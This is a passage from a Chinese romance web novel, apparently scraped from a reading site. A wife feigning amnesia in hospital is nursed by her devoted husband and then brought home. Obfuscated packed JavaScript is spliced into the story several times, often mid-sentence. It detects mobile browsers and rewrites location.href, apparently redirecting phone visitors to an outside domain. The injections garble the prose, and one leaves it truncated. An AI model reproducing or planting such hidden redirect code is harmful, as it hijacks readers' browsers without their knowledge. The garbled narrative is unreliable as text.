“是啊，阿余连我都不记得了，还会记得谁呢？”她听到男人这样感慨。 忽然，只听咕噜一声。 沈余悄悄将手藏进被子里，捂住了肚子。 顾朝年唇角勾起。 然后又是咕噜一声。 …… 掩耳盗铃的某人彻底放弃，自暴自弃地抬起头，“我饿了。” 顾朝年低低地笑，“是我没有考虑周到，阿余已经有一天没吃过东西了，肯定饿坏了。” 餐食一早就准备好了，只等沈余醒来，顾朝年只打了一个电话，没一会儿就有专人送过来。但他没让那些人多待，而是自己亲自弄。将餐桌弄好，又将餐盒一一摆放好。 “医生说你现在的伤口还没有好，饮食还是要以清淡为主，所以我给你准备了山药枸杞粥，还有一些清淡的小菜。” 顾朝年拿着餐盒，舀了满满一勺子送到了她的嘴边。 扑鼻的热气烘烤着沈余的脸，将她的视线也一并模糊掉了，记忆里那个常年冷着一张脸，对待任何人永远都是冷漠疏离的顾朝年在这一刻面目全非。 “是太烫了吗？”见沈余迟迟不张嘴，顾朝年将勺子里的粥又轻轻吹了吹，重新送到她的唇边，“现在这个温度应该刚刚好。” 沈余回过神来，又对上他那能溺死人的视线。 沈余：…… 她轻咳一声，不自在地开口，“还是我自己来吧。” “好吧。” 顾朝年连餐盒带瓷勺一起交给了她，只是视线却一直没离开。 山药枸杞粥被炖得恰到好处，软糯香甜的味道便在她的唇齿间流窜，热意仿佛可以顺着血管一直渗透到四肢，一口下去，整个人都是暖和和的。 一口又一口，沈余吃得舒服，顾朝年也看得高兴。可没用一小会儿，沈余就吃饱了，可她才吃了一小碗。 顾朝年看她停下了问，“才吃这么一点就饱了吗？” 是啊，怎么就饱了呢？ 这完全不是她的食量。 虽然很还想吃，可是她的胃已经在抗议了。沈余恋恋不舍地看着餐盒中还剩下的山药枸杞粥，忍痛将餐盒递给顾朝年，“我吃不下了。” 顾朝年递给她一杯温水，“没事的，生病的时候都没什么胃口。” 用餐结束，外面的天已经完全暗了下来。顾朝年正在收拾餐盒，露出了那面曾被沈余的演技无辜牵连的侧脸。 原本只有淡淡的绯红经过一顿饭时间的沉淀，更红了，也更肿了。沈余温吞地开口，“那个……” “什么？” “你的脸还是去处理一下吧。” 顾朝年将餐盒整理好，顺着她的视线抚上自己的侧脸，后知后觉地感受到轻微的疼痛，随之而来是巨大的喜悦，“阿余，你在关心我！” 一个箭步冲到她面前，张开双臂想要拥抱她，“你是不是想起我来了！” “没有。”在他抱上她之前，沈余的手撑在了他的胸口，单薄的衬衫下是男人密集又快速的心跳，像鼓点一样，沈余掌心被震了一下。 她飞快松开手，又一次强调，“没有。” 顾朝年垂下的眸子遮住了他脸上失望的表情，慢慢地他抬手碰了碰侧脸，“是有些疼，我出去处理一下。” * 沈余洗了一个很久很久的澡，滚烫的热水落在她的身上，一点痛，更多是给她一种我还是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929825|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇妙感觉。 更重要的一点是她想要逃避和顾朝年见面，希望最好她洗好出来的时候他已经走了。 偏偏事与愿违。 推开门，顾朝年正拿着一个笔记本在办公。听见声音的男人回头，四目相对，她才发现他眼前多了一副银色的眼镜，透过镜片真是能看到他眼睛里的红血丝。 沈余讷讷开口，“你怎么还没回去？” 顾朝年合上笔记本，“你一个人在医院我不放心。” “我没有一个人，有医生的。” “遇事只知道给你打镇定剂的医生？” “……还有护士的。” “我知道，可我还是会担心。”顾朝年摘下眼睛，揉着发酸的眼睛，一不小心碰到了脸颊上的肿胀，疼的轻嘶一声。 想到他变成这个样子都是因为她，沈余也不好意思说什么了。反正病房内还有别的房间，他们各睡各的，谁也不会打扰谁。而且折腾了一天，沈余真的有些累了。 她将自己整理好，自顾自地躺上床，很快便进入梦乡。 而那个她以为不会打扰到她的男人却在她睡熟后走到床边，将她脸上的碎发掖到耳后，又为她掖好被角，然后就这样静静地看着她，像是怎么也不够一般。 许久之后，男人俯身在她的额头落下极轻极轻的一吻。 起身的瞬间，一滴热泪自他眼角滑落。 * 天刚蒙蒙亮的时候，阳光透过窗帘的一条缝隙悄悄溜进来，在地板上滚两了两圈又雀跃着跳上了病床，最后在少女挺翘的睫毛上玩起了滑梯。 顽劣的阳光一不小心晃进了少女的眼睛里，鸦羽般的睫毛轻颤。 沈余不舒服地一歪头，没一会儿又歪向另一边。但无论怎么动，那束阳光都准确无误地落在她的睫毛上，她迷迷糊糊地伸手，想要将被子拽上来蒙住脑袋。 ……只是为什么抬了好几次都没抬起来，就像是被什么东西拽住了一样。 “唔……”沈余睁开了惺忪的睡眼，借着微弱的晨辉看到了在她床边熟睡的顾朝年。 男人坐在白天的那个小凳子上，一双大长腿根本无处安放，上半身靠在床边，仅用一个手臂撑住，另一只手则在棉被底下和她十指紧扣。 他就这样守在她的病床前睡了一整晚？ 她的视线围着两个人交握的手转了几圈，也没研究出什么好办法，只能尽量小心一点了。刚动了一下，男人的睫毛颤了颤，轻而慢地睁开眼睛。 沈余下意识后退，却忘记自己的手还被握着，顾朝年微微一个用力，她又被拽到男人面前。 甚至比刚刚的距离还要近。 长长的睫毛在她眼前颤啊颤，沈余不自觉地屏住呼吸，可好像还是把他吵醒了。顾朝年的眼睛里还是刚刚苏醒的迷离，“……阿余？” 半阖的眸子缓慢地眨了了几下，似乎终于辨认出眼前的人是谁。 浓厚的睡意再次袭来，顾朝年很快又闭上眼睛。沈余还没来得及松一口气，一个吻轻轻地落在她的唇上。 以及男人轻声的呢喃，“阿余啊，我真的好想你。” 5. 第 5 章 顾朝年无意识地倒下去，高级病房内的被子温暖舒适，男人陷入一片柔软之中，丝毫没有醒来的痕迹，独留沈余僵在原地。 刚刚…… 沈余抿着唇，好半天才反应过来那是自己的初吻。 她赶紧找出一片湿巾，对着自己的嘴唇一顿猛擦，仿佛要连带着将那段记忆也擦拭掉。擦着擦着，脑袋里有什么东西一闪而过。 她忽然想起，也许……这已经不是她的初吻了。 想到或许还有更糟糕的可能，沈余的脸色又白了几分，她躺在床上，默默望着天花板，一瞬间疑似丧失了力气和手段。 合法夫妻，也许还两情相悦，发生关系也算是水到渠成吧。 尽管她这样安慰自己，可还是越想越难受，深深地无力感逐渐涌上心头。 “阿余……” 一旁传来男人睡梦中的呓语。 顾朝年趴在柔软的被子上，嘴角挂着微笑，不难想象他应该是做了一个美梦。 她瞪了顾朝年几眼，颇为气闷地将被子拉过来盖过头顶，将自己卷成一个瑞士卷，默默移到床的另一边。 昏昏沉沉的，沈余又睡了过去。睡过去之前，她脑子里只有一句话：一定要离顾朝年远一点。 日头一点点升起，很快天就彻底亮了。那一束顽皮的阳光似乎找到了更好的玩具，从沈余的睫毛跳上了顾朝年的侧脸。 顾朝年醒过来，被枕在身下好几个小时的右手早就麻了，根本没法动。他只好用左手捏了捏眉心，企图让自己尽快清醒过来。 没在床上看到沈余，顾朝年腾的一下站起来，在房间内前前后后找了一圈都没找到，要不是一直守在门口的保镖说她根本没有出去，顾朝年差一点就要报警了。 最后发现人就在被子里，还将自己过裹成了一个蚕蛹。 看着她别致的造型，顾朝年失笑。 怕她不能正常呼吸，轻轻为她拉下被子。 找到了人，顾朝年的心终于放回肚子，他看了一眼时间，已经八点多了，一会儿阿余就要醒了，可他的早饭还没有做。顾朝年活动了一下还有些发麻的右手，起身进了厨房。 做好早饭，用保温盒保温好，然后才意识到自己还有洗漱，用最快的速度将自己收拾好，顾朝年终于打开了自己的手机。 沈余受伤，他连夜坐飞机回国，第一时间来到医院又在沈余的床前守了一天一夜，可以说这几天的工作都没处理，一打开手机，毫不意外的99+的消息。 顾朝年拿出电脑，坐在窗前的书桌旁办公，先将最着急的工作处理了，忙了有一会儿，听到不远处传来被褥的摩擦声。 沈余刚刚睡醒，大脑还没清醒，她呆滞地看像前方，很像老式电脑开机前的启动工作。顾朝年无疑是一个足够有耐心的使用者，他没有出声打扰，只是安静地等待，然后一脸温和地同她打招呼。 “阿余，早上好。” “早……” 尚未完全“开机”的沈余几乎是下意识地想要回应，却在刚开口的瞬间想起了那个吻，她抿唇，不再开口，无声表明了自己的态度。 她要离顾朝年远远的！ 顾朝年毫无察觉，放下电脑，向她的方向走过来，在他走到床边之前，沈余翻身下床，完全无视他，直接进了卫生间。 ？ 顾朝年眉头轻皱，不明白发生了什么。 等到沈余从卫生间出来，顾朝年像是无事发生一样，一脸温和地看着她，将早餐摆好，仍旧是一脸温和地招呼她，“阿余，要不要吃早餐？” 再生气也不能和自己的身体过不去。尽管沈余非常不想理他，但还是回了一声“嗯”。 很冷淡的一声，顾朝年听了却有点想笑。 他忍住笑意，将温热的粥倒出来。顾朝年还记得沈余不喜欢他喂，因此只是将餐盒和勺子放到自己的对面，就没再有动作了。 两个人秉持着食不言寝不语的状态吃完了早餐，用过早餐后顾朝年主动开口搭话，“阿余，医生和我说你现在的情况尚不能确定，可能还需要做几个检查。” 沈余没吭声，只是眨眼的频率慢了下来。 顾朝年知道她在听，一边观察着她的神色一边同她商量，“我们一会儿把检查做了好不好？很快的。” 大脑是人体最复杂的器官，尤其还是记忆这么主观的东西，沈余其实并不担心会自己会因为一个检查而穿帮，她只是不想还要费心去应付别人。 沈余抬头看着顾朝年脸上近似于卑微的表情忍不住想，看他这个样子，如果她不答应他恐怕要起疑心。 避免少生事端，沈余点了点头。 医院的办事效率很高，很快就有护士带沈余去做检查，一番检查下来医生什么话都没说，只是面色凝重地把顾朝年叫了出去。 透过门上那扇玻璃，顾朝年的脸色比她想象中的要轻松许多。 是她病的不够严重？ 还是顾朝年其实也没那么喜欢那个穿越者？ 如果他没那么喜欢“她”，那她提出离婚他应该能同意吧？ 沈余就这样不着边际地想着，没一会儿顾朝年就推门进来说他要去和医生开一个会，让她跟护士先回病房。 能够一个人待着，沈余自然十分愿意。 回到病房护士也离开了，房间内只有她一个人，沈余终于想起来看自己的手机。 翻到微信界面，消息99+，其中最上面的一个聊天框没有备注，头像是一条金鱼。这条鱼和她梦中的是那么相似，她带着好奇点开了聊天框。 [你怎么样？] [伤的严重吗？] [怎么不回消息，是伤的很严重吗？] …… 上百条的消息几乎都是关心她病情的话，只通过聊天的话就能想象到对面焦急的心情，想来应该是什么要好的朋友。 沈余回复:[我没事，不用担心。] 回复完，沈余退出聊天框继续看消息，很多人关心她的病情发来慰问消息，而她也几乎都不认识。 她顺着红色感叹号一个一个往下滑，甚至滑不到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929826|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 指尖一转，打开了联系人的界面，直接拉到最底端，上面显示联系人3562个。 哇！ 什么工作能够加上这么多的好友？ 她重新回到聊天界面，点开每一个红色感叹号，认认真真地打字回复，“我没事，谢谢关心。”并配上一个笑脸。 上午仅剩的那段时间都被沈余用来回复微信消息了。 回复完所有的微信消息，正好到了她的午餐时间。午餐结束后，沈余百无聊赖地躺在沙发上，一抬头发现外面竟然下雪了。 雪刚下，薄薄的一片，还无法将所有的地方覆盖到，可它却那么的干净和纯粹，沈余迫不及待地想要下楼，刚推开门，一排黑衣男像一堵墙一样将她围个水泄不通，并告知为了她的安全着想，请她待在房间里。 望着眼前将近两米的大块头，沈余非常识时务地关上门，她倒没不开心，只是担心顾朝年难道还在怀疑她装失忆？ 她的演技真的有那么差吗？ 沈余忽然就有些不确定了，拿出手机，专门搜索了一个女主失忆的电视剧，打算临时抱佛脚。 反正只要没有顾朝年，无论做什么沈余都觉得轻松自在。 这份自在一直持续到傍晚，晚饭前，顾朝年回来，说要和她分享一个好消息。 “阿余，我咨询了国内外著名的神经科医生，他们说你是因为惊吓过度才会导致的失忆，只要好好引导，兴许很快就能恢复记忆。” 沈余：…… 她一边趁着顾朝年不注意悄悄按动电视机遥控器，一边忍不住想这对她来说可算不上一个好消息。 “医生还说你额头上的伤已经恢复的差不多了，只需要在医院再观察几天就可以出院了。” “嗯嗯。” 沈余挑选着自己接下来要看的剧，敷衍地点头。 她匆匆浏览着新上映的剧，忽然一个熟悉的身影从她的眼前闪过。沈余不确定地调回去，精美的海报上印着《七重梦》三个大字，以及几个主演。 而她自己就站在海报的正中央。 沈余不可置信地指着电视屏幕，回头问顾朝年，“所以我的职业是演员？” 顾朝年点头。 出车祸时她大学尚未毕业，虽然学了十几年的舞蹈，但是对演戏却一窍不通，，更没有演戏的经验。 成为演员，不用想也知道是谁的手笔。 沈余一下午的好心情在这一刻荡然无存，她一开始装失忆，就是为了避免不必要的麻烦，可演员这个职业，简直处处是麻烦。 她又看了一眼电视屏幕上的海报，“你能给我讲讲她吗？” 顾朝年：“她？” “是我，”沈余连忙改口，“你能给我讲讲我以前的事情吗？比如我的名气大不大？比如我是怎么成为演员的呢？” “不知道你有没有印象，在你晕倒之前你刚获得金鸡奖最佳女主角的奖杯。”顾朝年是这样为她解释的。 金鸡奖最佳女主角奖杯。 那她岂不是影后！ 6. 第 6 章 顾朝年：“至于你为什么会成为演员我也不是很清楚，或许你可以问问孟梦。” “mengmeng？” 又是一个完全陌生的名字。 顾朝年拉过沈余的手，在她手心写下孟梦两个字，“她是你的经纪人，从你出道就跟在你身边了。” “你见过她的，就在你第一次醒来的时候，你还问她我是谁，不记得了吗？” 沈余不着痕迹地抽回手，“原来是她啊。” “我可以见她吗？”沈余想到了门外的那一排黑衣男。 “阿余，你当然可以见她了。”顾朝年一瞬间明白过来，解释道，“我没有想限制你的自由，我只是想保护你。” 他沉吟片刻，“只是你失忆的这件事，可能需要暂时保密。” “我知道的，毕竟我身份特殊嘛。”沈余十分善解人意。 影后失忆，这种事情放出去不管真假，影响都会很大，关于她失忆这件事，本就是越少人知道越好。 在这一点上，她和顾朝年难得观点一致。 “那孟梦呢？” “她知道。”顾朝年补充，“目前只有我们两个知道，所以你有什么想了解的都可以问她。” * 顾朝年果然信守承诺，孟梦第二天真的来了。 “小鱼儿，呜呜呜呜……”一句话还没说完整，孟梦坐在沙发上就开始哭，沈余递给她一张纸巾。 孟梦接过来胡乱抹了一把眼泪，“好好的人，怎么突然就失忆了呢，呜呜呜呜……” 然后又开始哭。 “那个挨千刀的酒店，把我家小鱼儿害成这样，怎么不一道雷劈死他，装的什么破灯，把好好的人砸成这样，呜呜呜……” 沈余忍不住解释，“我其实也没怎么样。” 说起来，倒应该感谢这场意外，不然她的身体恐怕现在还被那个穿越者占据着呢。 “还不怎么样，都失忆了还没怎么样，难道它还想闹出人命吗？” 沈余：…… 大可不必如此诅咒她。 孟梦一边骂一边哭，沈余在旁边默默给她递纸巾。 等她心情终于缓和下来，一双眼睛都肿成金鱼眼了。孟梦才想起来说正经事，“阿余，顾先生和我说了，你失忆的事情现在对外保密，在你恢复记忆之前肯定是不能工作了，不过好在我当时有先见之明给你空出三个月的假期，正好你趁着这段时间尽快恢复记忆。” “只是可惜了，本来这段时间是想让你和顾先生增进感情的。”孟梦颇为遗憾。 “增进感情？我们感情不好吗？” “哦，那没有。” 沈余刚刚亮起的眼睛瞬间暗了下去，比流星还快。 她不死心，“感情好为什么还要增进感情？” “你们一个影后，要不是我拦着明年的行程都排的满满的，另一个是大总裁，恨不得满世界飞，就你们这样感情再好有个屁用啊？” 沈余眨眨眼，还是没明白这和增进感情有什么联系。 “拜托，成年人了，老夫老妻了，难道还和初中生一样每天牵个小手就算维系感情了？当然是要身、体、力、行啊！” 最后几个字孟梦重点强调。 沈余的脸上飞快地染上了一抹红，并不全是害羞，更多的气愤。 他们果然什么都做过了。 ……用她的身体。 用她的身体。 她的身体。 她的。 …… 沈余已经不记得后面和孟梦聊的什么了，因为她后面满脑子只回荡这句话，感觉整个人都脏了。 送走了孟梦，沈余颇为心塞地趴在沙发的靠背上，一抬头和刚刚进来的顾朝年视线相撞。 她现在看到顾朝年就烦。 很烦。 不等她移开视线，男人低头从口袋里掏出手机，他看了一眼屏幕，没接而是抬头看了她一眼。 看什么看。 沈余瞪他一眼。 不过他应该没有看到，因为顾朝年很快就低下头，指尖在屏幕上滑动一下，一边接电话一边推门出去了。 顾朝年好像一直很忙。 他比她大两岁，高中毕业后出国留学，沈余记得他出国留学的第一年就已经帮忙打理顾氏的产业了，毕业后更是直接接手了顾氏的海外产业。 这几天顾朝年虽然一直在医院陪她，但是大多数的时间都是在书桌旁默默办公，想来也是，五年过去了，他肯定更忙了。 孟梦也说，顾朝年常年在海外，等到她出院，大概率是要飞回去了，肯定不会像现在一样成天看着她。 而且他们之间，也没什么好增进感情的。 不。 他们之间根本就没有感情。 和沈余想的一样，之后的几天顾朝年逐渐忙碌起来，除了办公大部分的时间都在接打电话。 好在他自己会主动出去。 她则是安安静静地“养伤”，偶尔会去网上看一些有关于“她”的评价企图多了解“她”一点，但网上的评价两极分化实在严重，喜欢的特别喜欢，讨厌的特别讨厌。 几天下来她唯一可以确定的就是“她”演技高，长得漂亮。关于人品、性格一概不知。 最重要的是她没有搜索到任何有关于她结婚的消息。 两个人就这样相安无事地过了一周，一周后医生通知她说她可以出院了。 出院的那天是个大晴天，天气十分暖和，但他们离开医院时临近傍晚，太阳斜斜地挂在天边，将落不落，只留下一点余晖。 从医院的地下车库到车上只有不到二百米的路，顾朝年硬说她大病初愈不能吹风，帽子围巾手套全副武装。 车上空调温度适宜，裹成一个粽子的沈余没一会儿就热了，鼻子前的围巾更是让她上不来气儿，带着厚重手套的手和熊掌没什么两样，摘了半天围巾也没摘下来。 沈余大口喘气，感觉自己真的要被憋死了。 忽然，身上一轻，冷冽的空气汹涌地涌向她，却在钻入她鼻翼的那一刻化为了淡淡松木的清香。 刚上车的顾朝年手中拿着她的围巾，“这样好些了吗？” “嗯嗯。”沈余点头，朝他伸出手。 顾朝年已经将围巾叠整齐，轻轻放在眼前的小熊爪上。 沈余歪头愣了一下，她是想要过来自己叠，他怎么给她叠好了？ 顾朝年也跟着歪头，在小熊爪上轻轻拍了两下，企图唤回沈余的注意力。 前排的司机姓木，是顾家的老人了，透过后视镜看到这一幕忍不住感慨，“少爷和少夫人的感情还是那么好！” 然后默默升起了挡板，将空间留给这对年轻的小夫妻。 原本还算宽敞的座位一瞬间变得狭小，松木香在沈余的鼻尖萦绕，男人的视线灼热，空气仿佛再次热了起来。 顾朝年没注意这些，盯着她有些发红的脸颊，神色严峻，“怎么了，还热吗？要不要空调调低一点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929827|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说着就要去叫老木。 老木将空调的温度调低，顾朝年皱眉看着沈余依旧红红的脸蛋，“真的没事吗？你如果不舒服我们现在立马回医院。” 沈余推开他即将探上自己额头的手，“不用，我没事。就是坐的太近了。”说完抱着自己的围巾默默坐到最边上。 “这样就好了。” 顾朝年愣了一下，勉强弯起唇角，“好。” 车子平稳驶入车道，沈余歪头靠在座位上睡着了，再睁开眼的时候，天已经黑了，隔着玻璃窗万家灯火被一盏盏点亮。 只是看着，就觉得温馨。 驶过高楼大厦，驶过万家灯火，七拐八拐之后，终于来到了一个小区。 穿上她所有的装备，从地下出库出来一路坐电梯上去，到门口的时候，沈余还有些惊讶，竟然只是一套公寓。 顾朝年握住门把手轻轻一拉，饭菜的香味顺着门缝溜了出来，下一瞬，沈余被扑了个满怀。 一个浑身雪白的小比熊一边往她身上扑一边疯狂地摇尾巴。 是她的小狗，她养的小狗。 “卷毛！” 沈余抱住卷毛，高兴地想要流泪。却在听到顾朝年的声音那一刻戛然而止，“你记得她叫卷毛？” “不记得。” 沈余暗叫糟糕，疯狂找借口，“你看她的毛毛都是卷卷的，我也不知道怎么回事儿下意识就叫出口了。” 沈余抱着卷毛，正想着要不要再解释解释，门被从里面彻底推开了，一个有些上了年纪的女人从里面走了出来。 “诶呀，阿余回来啦！” 梅姨是沈家的保姆，小时候沈父沈母忙工作不回家都是梅姨陪着她，因为她失忆要保密，顾朝年一早就将梅姨的事情告诉她了。 这一次沈余没有犹豫地开口，“梅姨，我回来了！” 梅姨握住她的手，借着灯光仔仔细细地打量她一圈，一脸心疼地说，“瘦了。” 就像是摔了一跤的小朋友忽然见到了可以依赖的人，梅姨说出这两个字的时候沈余几乎要落下泪来。 怕顾朝年看出端倪，沈余垂眸逗着卷毛，笑着说：“我坐电梯的时候就闻到家里的饭菜香了，我们快点进去吧，好想梅姨做的饭啊~” “等等。”梅姨拽住她的手腕，变戏法似地从身后掏出一捧树叶，“这是柚子叶，住院回来要扫一扫，去去晦气。” 梅姨没什么文化，有些事情上还有点小迷信，但她们是家人，所以即便她不认同却也从不去反驳。 她乖乖地站在那里，任由梅姨拿一捧柚子叶从头扫到脚尾。 “来，也给朝年去去晦气。”说着，又拿出一捧柚子叶扫向顾朝年。 “梅姨，他就不用了。” 弯腰弯到一半的顾朝年闻言一顿，“我为什么不用？” 她把梅姨当家人，但对顾朝年来说只是一个关系好一点的佣人而已，他没必要因为她做他不喜欢的事。 但这种话有不能说出来，沈余只好说，“因为你看起来一点也不像是会迷信的人。” 顾朝年垂眸，用力抓紧自己左腕，“如果我迷信你会讨厌我吗？” 莫名其妙的话让沈余一愣。 “好好好，都扫都扫。”梅姨乐呵呵地出来打圆场，像对待沈余一样耐心细致地为顾朝年除去晦气。 除去晦气的顾朝年终于露出一个笑脸，他拉开门，做了一个“请”的姿势，笑吟吟地抬头望着她。 “阿余，欢迎回家。” 7. 第 7 章 玄关处有一盏小灯，暖黄色的光打在男人的侧脸上。 冷漠如顾朝年，在这一刻显得那么温暖。 沈余微微愣神。 温热的掌心唤回她的思绪，梅姨握住她的手，“阿余，走啊，发什么呆呢。” “嗯。”沈余笑着点头。 刚迈过门槛，卷毛就叼着一只拖鞋放到她的脚边，甩着尾巴又叼来了另外一只。 浅粉色的棉质拖鞋整整齐齐地摆在她的脚边，卷毛仰着一张小脸，眼睛亮晶晶的，汪汪叫了两声。 好像在说：“妈妈，看我乖不乖？” 她俯身揉了揉她头顶的卷毛，“卷毛这么乖呀！” 果然，卷毛又汪汪叫了两声，尾巴摇地更快了。 梅姨笑，“看看，卷毛都着急了！”说完猛地一拍掌心，“诶呦，我的锅上还煮着汤呢，我先进去看看。” 大概是见梅姨离开了，卷毛也开始着急，她围在她脚下疯狂转圈圈，沈余低头想要抱起她，却在下一秒被卷毛咬住裤腿，连拖带拽地拉着她向前。 卷毛跑的太急又太快，沈余没有防备，踉跄了一下，顾朝年迈一大步进来，及时扶住她的肩膀，“小心。” 那束暖黄色的光将他们拢在一起。 影子亲密交错，又很快分开。 沈余站稳后立马退开，“谢谢。” 只是原本还算宽敞的空间因为男人的到来也变得拥挤，尽管顾朝年已经尽量只靠着一个墙边了。 这种拥挤不是空间上，更像是他想要挤进她的生活。 怕对上男人那双过分认真的眼睛，沈余弯腰去穿拖鞋，只留给男人一个乌黑的发旋儿。 顾朝年靠在墙边，静静注视着。 光影错落，左右各一边，犹如两条永不相交的平行线。 沈余匆匆穿好鞋，逃似地走开了。 顾朝年还站在那里，陪着他的只有孤零零的影子。 * 穿过玄关，沈余终于看清了屋内的全貌。 纯色的木质地板、奶白色的柔软沙发、角落里放着零散的绿植，以及鱼缸里自由自在的几条彩小鱼。 在暖黄色灯光的照耀下，一些都是那么的温馨。 沈余的视线在屋内转了一圈，最后停在那各装满彩色小鱼的鱼缸前。 咕咚咕咚冒着泡，小鱼摆动着尾巴肆意地游，可她总觉得它们会在下一秒张开血盆大口将她吞吃入腹部。 她收回视线，看到顾朝年穿着一双和她十分相似的浅蓝色棉拖走了进来。 “你家……” 顾朝年歪头看她。 “我家。”她连忙改口，“我家怎么会是这种装修？” “不喜欢吗？” “喜欢倒是喜欢，只是……”这完全不是他喜欢的风格。 他怎么看都像是不会接受家里出现除了黑白灰之外的任何颜色，难道是那个穿越者的审美？沈余想到结婚证上的那张照片，感觉“她”应该也不会喜欢这种风格吧。 没给沈余多纠结的时间，顾朝年说，“走，我带你参观一下，免得一会儿在梅姨面前穿帮。” 沈余脱掉她的装备，乖乖跟在他身后，将所有的房间大致转了一圈，洗好手顾朝年领着她去了餐厅。 将最后一道菜端上桌，梅姨摘下围裙，“正好菜都做好啦，快过来吃饭！” 沈余吸了一口饭香，十分捧场，“闻着就好香啊！” “阿余很久没吃我做的菜了，快尝尝梅姨的手艺生没生疏。” “怎么会呢？肯定还和以前一样。” 梅姨一个劲地往她碗里夹菜“每次回家都来去匆匆的，连吃一顿饭的时间都没有。这次更是直接累病了，年纪轻也不能这样啊！” 沈余看着碗里的虾，脸上便下意识地泛起一阵痒意。 是的，她虾肉过敏。 第一次发作是在一场宴会上，她误食了一块饼干，大人们忙着应酬根本没人注意到她，最后却被顾朝年发现了。 那是她第一次参加那样的宴会，去之前沈母耳提面命要她好好表现，要争气不要出错，她在意识到自己过敏后没敢声张，只是一个人偷偷躲起来，可他却要拽着她去医院，她不想去。 挣扎着，越来越多的大人围了上来。 她顶着一张猪头承受所有人嘲笑、同情， 以及父母的失望。 梅姨知道后，她的饭菜里再没出现过虾这种生物，这还是那次过敏后她第一次出现在她和梅姨的餐桌上。 一个习惯的形成需要十几年。 那改变呢？ 沈余拿起筷子，默默扒了一口米饭，笑着对梅姨说，“真好吃。” “咋么不吃菜，你不是最喜欢吃油焖虾，之前说拍戏要保持身材不敢吃，现在休息了刚好可以大吃一顿了。” 看着碗里又多出的那几只虾，沈余想或许需要五年。 也许更短。 不想扫兴，也不想梅姨有所察觉，本来已经打算吃了，但忽然手中一松。 “梅姨，喜欢吃虾的是我。” “咦，可明明……” “你记错了，是我喜欢吃。”顾朝年打断她，十分肯定。 然后将自己手中的碗塞给沈余，“这个我还没动过，你用这个。” “哦哦。” 看着两个人自然的样子，梅姨尴尬地笑笑，“那看来真是我记错了。原来喜欢吃虾的是朝年啊，那阿余吃这个。” 说着又给她夹了一筷子菜。 “这个，这个，这个也好吃……” 沈余的碗里很快就堆成了小山，她也没不耐烦，除了一开始的虾，基本上梅姨夹什么就吃什么。 一顿饭下去，沈余忍不住去揉鼓起来的小肚子。 顾朝年：“很撑？要不要我帮你揉？” “不用。”沈余立马从沙发上坐起来，当场表演小肚子消失术。 “我去给卷毛洗澡。” 她抱起卷毛，只留下一个匆忙的背影。 一路跑到浴室，打开淋浴，用手心将温度调到适宜，然后才开始给卷毛洗澡。 水淋上去的瞬间，卷毛直接变成了落汤狗。让她想起了她第一次见到她的样子。 那时候她刚被发现是假千金，离开沈家后她无处可去，像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈余虽然宠孩子但是也还是有限度的，所以在卷毛又一次跳上她的床时，她忍不住发怒，“卷毛今天不听话了吗？” 卷毛也不叫，只是用一双大眼睛湿漉漉地看着她。 沈余的心忽地软了，“就这么想和妈妈一起睡？” 卷毛：“汪汪！” “好吧。” 许久未归的妈妈应该可以允许孩子偶尔破例一次。 “那今天卷毛和妈妈一起睡。” 卷毛兴奋地上蹿下跳，一旁送卷毛过来的顾朝年连忙趁热打铁，“既然阿余连卷毛都愿意收留，不知道可不可以也将我一起收留了呢？” ？! “为什么？” 顾朝年：“因为只有这一间房。” “怎么可能？你带我参观的时候明明有很多间房的。” “一间琴房，一间舞室，一个卷毛的房间，至于唯一一间客房给梅姨住了。”顾朝年摊手，“你总不会想让我去客厅的沙发上住吧？” 这个提议很好，沈余正想表示同意，下一秒就听到顾朝年说：“你难道忘记我们要保密的事情吗？如果梅姨晚上出来看到我肯定会起疑的。” 沈余：“……” 大概是她的表情太过一言难尽，顾朝年轻叹一口气， “阿余，我们是夫妻。” “睡同一间屋子是夫妻生活中最普通的一件事。” 8. 第 8 章 顾朝年最后还是留了下来，只不过是打地铺。 沈余躺在床上，瞥了一眼正在勤勤恳恳打地铺的男人，然后望向天花板，对自己同意顾朝年睡在这里仍旧觉得不可思议。 可她又有什么理由不同意呢？ “睡同一间屋子是夫妻生活中最普通的一件事。” 真的普通吗？ 如果睡同一间屋子普通，那睡同一张床呢？ 会不会有一天他会要求她履行夫妻义务？ 孟梦的话犹如恶魔低语不断在她耳边回响。 脑海里被这些乱七八糟的想法充斥着，身旁的卷毛已经熟睡，发出呼噜呼噜的声音，沈余却有些睡不着了。 